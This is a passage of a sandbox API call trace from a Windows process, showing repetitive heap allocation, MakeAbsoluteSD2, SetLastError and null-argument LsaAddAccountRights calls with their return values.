	[0048.813] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.813] GetLastError () returned 0x57
	[0048.813] SetLastError (dwErrCode=0x57) 
	[0048.813] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.813] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.813] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.813] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.813] GetLastError () returned 0x57
	[0048.813] SetLastError (dwErrCode=0x57) 
	[0048.813] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.813] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.813] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.813] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.813] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.813] GetLastError () returned 0x57
	[0048.813] SetLastError (dwErrCode=0x57) 
	[0048.813] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.813] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.813] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.813] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.814] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.814] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.814] GetLastError () returned 0x57
	[0048.814] SetLastError (dwErrCode=0x57) 
	[0048.814] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.867] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.867] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.867] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.868] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.868] GetLastError () returned 0x57
	[0048.868] SetLastError (dwErrCode=0x57) 
	[0048.868] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.868] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.868] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.868] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.868] GetLastError () returned 0x57
	[0048.868] SetLastError (dwErrCode=0x57) 
	[0048.868] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.868] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.868] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.868] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.868] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.868] GetLastError () returned 0x57
	[0048.868] SetLastError (dwErrCode=0x57) 
	[0048.868] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.868] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.868] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.868] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.868] GetLastError () returned 0x57
	[0048.868] SetLastError (dwErrCode=0x57) 
	[0048.868] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.868] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.869] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.869] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.869] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.869] GetLastError () returned 0x57
	[0048.869] SetLastError (dwErrCode=0x57) 
	[0048.869] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.869] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.869] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.869] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.869] GetLastError () returned 0x57
	[0048.869] SetLastError (dwErrCode=0x57) 
	[0048.869] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.869] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.869] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.869] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.869] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.869] GetLastError () returned 0x57
	[0048.869] SetLastError (dwErrCode=0x57) 
	[0048.869] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.869] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.869] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.869] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.869] GetLastError () returned 0x57
	[0048.869] SetLastError (dwErrCode=0x57) 
	[0048.870] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.870] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.870] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.870] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.870] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.870] GetLastError () returned 0x57
	[0048.870] SetLastError (dwErrCode=0x57) 
	[0048.870] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.870] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.870] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.870] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.870] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.870] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.870] GetLastError () returned 0x57
	[0048.870] SetLastError (dwErrCode=0x57) 
	[0048.870] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.870] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.870] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.870] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.870] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.870] GetLastError () returned 0x57
	[0048.870] SetLastError (dwErrCode=0x57) 
	[0048.870] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.870] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.871] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.871] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.871] GetLastError () returned 0x57
	[0048.871] SetLastError (dwErrCode=0x57) 
	[0048.871] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.871] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.871] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.871] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.871] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.871] GetLastError () returned 0x57
	[0048.871] SetLastError (dwErrCode=0x57) 
	[0048.871] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.871] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.871] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.871] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.871] GetLastError () returned 0x57
	[0048.871] SetLastError (dwErrCode=0x57) 
	[0048.871] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.871] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.871] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.871] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.871] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.871] GetLastError () returned 0x57
	[0048.871] SetLastError (dwErrCode=0x57) 
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.872] GetLastError () returned 0x57
	[0048.872] SetLastError (dwErrCode=0x57) 
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.872] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.872] GetLastError () returned 0x57
	[0048.872] SetLastError (dwErrCode=0x57) 
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.872] GetLastError () returned 0x57
	[0048.872] SetLastError (dwErrCode=0x57) 
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.872] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.872] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.872] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.872] GetLastError () returned 0x57
	[0048.873] SetLastError (dwErrCode=0x57) 
	[0048.873] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.873] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.873] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.873] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.873] GetLastError () returned 0x57
	[0048.873] SetLastError (dwErrCode=0x57) 
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.873] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.873] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.873] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.873] GetLastError () returned 0x57
	[0048.873] SetLastError (dwErrCode=0x57) 
	[0048.873] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.873] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.873] GetLastError () returned 0x57
	[0048.873] SetLastError (dwErrCode=0x57) 
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.873] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.873] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.874] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.874] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.874] GetLastError () returned 0x57
	[0048.874] SetLastError (dwErrCode=0x57) 
	[0048.874] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.874] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.874] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.874] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.874] GetLastError () returned 0x57
	[0048.874] SetLastError (dwErrCode=0x57) 
	[0048.874] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.874] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.874] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.874] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.874] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.874] GetLastError () returned 0x57
	[0048.874] SetLastError (dwErrCode=0x57) 
	[0048.874] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.874] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.874] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.874] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.874] GetLastError () returned 0x57
	[0048.874] SetLastError (dwErrCode=0x57) 
	[0048.874] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.875] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.875] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c48260
	[0048.875] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.875] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.875] GetLastError () returned 0x57
	[0048.875] SetLastError (dwErrCode=0x57) 
	[0048.875] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.875] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.875] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c48260
	[0048.875] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.875] GetLastError () returned 0x57
	[0048.875] SetLastError (dwErrCode=0x57) 
	[0048.875] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c48260 | out: hHeap=0x2c40000) returned 1
	[0048.875] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.875] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.875] GetLastError () returned 0x57
	[0048.875] SetLastError (dwErrCode=0x57) 
	[0048.875] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.875] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.876] SetLastError (dwErrCode=0x57) 
	[0048.876] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.876] GetLastError () returned 0x57
	[0048.876] SetLastError (dwErrCode=0x57) 
	[0048.876] SetLastError (dwErrCode=0x57) 
	[0048.876] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.876] GetLastError () returned 0x57
	[0048.876] SetLastError (dwErrCode=0x57) 
	[0048.876] SetLastError (dwErrCode=0x57) 
	[0048.876] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.876] GetLastError () returned 0x57
	[0048.876] SetLastError (dwErrCode=0x57) 
	[0048.915] SetLastError (dwErrCode=0x57) 
	[0048.915] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.915] GetLastError () returned 0x57
	[0048.915] SetLastError (dwErrCode=0x57) 
	[0048.915] SetLastError (dwErrCode=0x57) 
	[0048.915] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.915] GetLastError () returned 0x57
	[0048.915] SetLastError (dwErrCode=0x57) 
	[0048.915] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.915] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.916] SetLastError (dwErrCode=0x57) 
	[0048.916] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.916] GetLastError () returned 0x57
	[0048.916] SetLastError (dwErrCode=0x57) 
	[0048.916] SetLastError (dwErrCode=0x57) 
	[0048.916] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.916] GetLastError () returned 0x57
	[0048.916] SetLastError (dwErrCode=0x57) 
	[0048.916] SetLastError (dwErrCode=0x57) 
	[0048.916] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.916] GetLastError () returned 0x57
	[0048.916] SetLastError (dwErrCode=0x57) 
	[0048.916] SetLastError (dwErrCode=0x57) 
	[0048.916] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.916] GetLastError () returned 0x57
	[0048.917] SetLastError (dwErrCode=0x57) 
	[0048.917] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.917] GetLastError () returned 0x57
	[0048.917] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.917] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.917] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.917] GetLastError () returned 0x57
	[0048.917] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.917] GetLastError () returned 0x57
	[0048.917] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.917] GetLastError () returned 0x57
	[0048.917] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.917] GetLastError () returned 0x57
	[0048.917] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.918] GetLastError () returned 0x57
	[0048.918] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.918] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.918] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.918] GetLastError () returned 0x57
	[0048.918] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.918] GetLastError () returned 0x57
	[0048.918] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.918] GetLastError () returned 0x57
	[0048.918] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.918] GetLastError () returned 0x57
	[0048.918] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.918] GetLastError () returned 0x57
	[0048.918] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.918] LockWindowUpdate (hWndLock=0x0) returned 0
